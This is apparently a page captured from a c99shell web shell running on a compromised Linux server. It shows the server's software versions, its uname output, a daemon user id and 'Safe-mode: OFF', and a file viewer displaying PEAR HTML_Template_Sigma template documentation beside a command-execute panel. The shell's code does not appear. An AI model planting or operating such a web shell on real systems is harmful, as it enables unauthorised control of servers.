Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 uid=1(daemon) gid=1(daemon) grupos=1(daemon) Safe-mode: OFF (not secure) /opt/lampp/lib/php/doc/HTML_Template_Sigma/docs/templates/ drwxr-xr-x | |
| Viewing file: Select action/file-type: Σtemplate example 3: building template from multiple filesPlease note that block names should be unique within the template even if the template is built from multiple files. Therefore it is usually a bad idea to include one file in two different places, unless this file contains no blocks. 1. Using <!-- INCLUDE filename --> within templateThis is the way to include a file from within a template, no additional code is required in your script. Note that this creates no blocks except ones already present in main and included files. 2. Using addBlockfile()addBlockfile() creates a new block in place of a variable placeholder. {addblockfile}3. Using replaceBlockfile()replaceBlockfile() replaces the existing block with a new content. 3.1 Keeping the previously parsed contentsYou can keep the parsed contents of the original block and continue iteration over the new one.
3.2 Discarding the previously parsed contentsOr you can discard the parsed contents and start from scratch (this is the default behaviour).
|
:: Command execute :: | |
--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.529 ]-- |